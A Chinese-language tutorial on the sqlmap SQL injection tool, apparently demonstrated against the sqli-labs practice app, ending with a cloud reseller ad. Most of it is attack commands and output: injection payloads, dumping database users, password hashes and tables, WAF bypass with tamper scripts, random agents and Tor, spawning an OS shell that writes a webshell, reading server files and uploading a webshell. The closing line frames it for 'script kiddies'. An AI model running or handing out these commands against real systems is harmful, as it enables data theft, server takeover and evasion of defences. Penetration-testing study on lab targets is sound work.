史上最详细的sqlmap使用教程

1.sqlmap简介

sqlmap是一个自动化的SQL注入工具其主要功能是扫描发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注即不能根据页面返回的内容判断任何信息要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入即页面会返回错误信息或者把注入的语句的结果直接返回到页面中
  • 联合查询注入在可以使用Union的情况下注入
  • 堆查询注入可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具很好用是SQL注入方面一个强大的工具

在这里插入图片描述


2.初级扫描方案

探测是否存在sql注入漏洞

对于不用登录的网站直接指定其URL🎂

sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库输入y继续

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

扫描出id部分存在boolean盲注

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable               
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

扫描完成后sqlmap给出了一些验证漏洞的payload信息

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
    Payload: id=1' OR SLEEP(5)#

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

对于需要登录的网站我们需要指定其cookie🙌

我们可以用账号密码登录然后用抓包工具抓取其cookie填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL我们需要指定其data参数💦

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

我们也可以通过抓取 http 数据包保存为文件💞

这样我们就可以不用指定其他参数这对于需要登录的网站或者post提交数据的网站很方便。

如下我们保存网站的访问数据包为data.txt文件

在这里插入图片描述

可以看到我的网站存在防CSRF攻击sqlmap注入失败

在这里插入图片描述

查看数据库信息

查看数据库的所有用户

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户

sqlmap -u "http://xxx/Less-1/?id=1" --current-user 

扫到当前用户信息

current user: ‘sqlilabs@localhost’

判断当前用户是否有管理权限

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户不是root用户

current user is DBA: False

列出数据库管理员角色

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前的数据库信息

[03:25:33] [INFO] fetching current database
current database: ‘security’

爆出指定数据库security中的所有的表

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息

Database: security
[4 tables]
±---------+
| emails |
| referers |
| uagents |
| users |
±---------+

爆出指定数据库指定表中的所有的列

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

3.高级扫描方案

绕过waf

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号没有对注入的数据进行修改。我们可以使用—tamper参数对数据进行修改来绕过WAF等设备其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。

识别网站有无waf可以使用kali里面的工具wafw00f

如下的网站不存在waf

在这里插入图片描述

sqlmap参数绕过

#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理直接连接进行注入
--flush-session   清空会话重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

指定脚本进行绕过(—tamper)

有些时候网站会过滤掉各种字符可以用tamper来解决对付某些waf时也有成效

sqlmap 官方提供了53个绕过脚本脚本目录在/usr/share/sqlmap/tamper

在这里插入图片描述

指定单个脚本进行绕过

sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py 

指定多个脚本进行绕过

sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"

探测等级和危险等级(—level —risk)

Sqlmap一共有5个探测等级默认是1。等级越高说明探测时使用的payload也越多。其中5级的payload最多会自动破解出cookie、XFF等头部注入。当然等级越高探测的时间也越慢。这个参数会影响测试的注入点GET和POST的数据都会进行测试HTTP cookie在level为2时就会测试HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时为了保证准确性建议设置level为5

sqlmap一共有3个危险等级也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思在不确定的情况下建议设置为3级

如下设置探测等级5平台危险等级3都是最高级别进行扫描💫

sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3  

伪造 Http Referer头部

Sqlmap可以在请求中伪造HTTP中的referer

例如可以这样来伪造百度的referer头部

--referer  http://www.baidu.com

执行指定的SQL语句(—sql-shell)

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --sql-shell 

然后会提示我们输入要查询的SQL语句注意这里的SQL语句最后不要有分号

在这里插入图片描述

执行sql查询

在这里插入图片描述

执行操作系统命令(—os-shell)

在数据库为MySQL、PostgreSql或者SQL Server时可以通过sqlmap执行操作系统命令

当为MySQL数据库时需满足下面条件

  • 当前用户为 root
  • 知道网站根目录的绝对路径
sqlmap -u "http://xxx:7777/Less-1/?id=1" --os-shell

接下来让我们选择网站的脚本语言

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

往下接下来让我们判断网站可写目录的方法

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
【1】使用公共的默认目录(C:/xampp/htdocs/C:/wamp/wwwC:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解

执行os-shell的过程中sqlmap会向网站根目录写入两个文件 tmpblwkd.phptmpueqch.php。真正的木马文件是tmpblwkd.php 。如果是非正常退出sqlmap的话这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时该文件才会被自动删除。

读取服务器文件(—file-read)

当数据库为MySQL、PostgreSQL或SQL Server并且当前用户有权限时可以读取指定文件可以是文本文件或者二进制文件。

例如我们要读取目标服务器C盘的test.txt文件

sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"

上传文件到数据库服务器中(—file-write —file-dest)

当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入)并且当前用户有权限向任意目录写文件的时候可以上传文件到数据库服务器。文件可以是文本也可以是二进制文件。

所以利用上传文件我们可以上传一句话木马或者上传shell上去。

前提是我们知道目标服务器的绝对路径

python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1 
--file-write C:\Users\mi\Desktop\1.php 
--file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"  
#将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php

祝愿每一个脚本小子从这里起航🚀

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6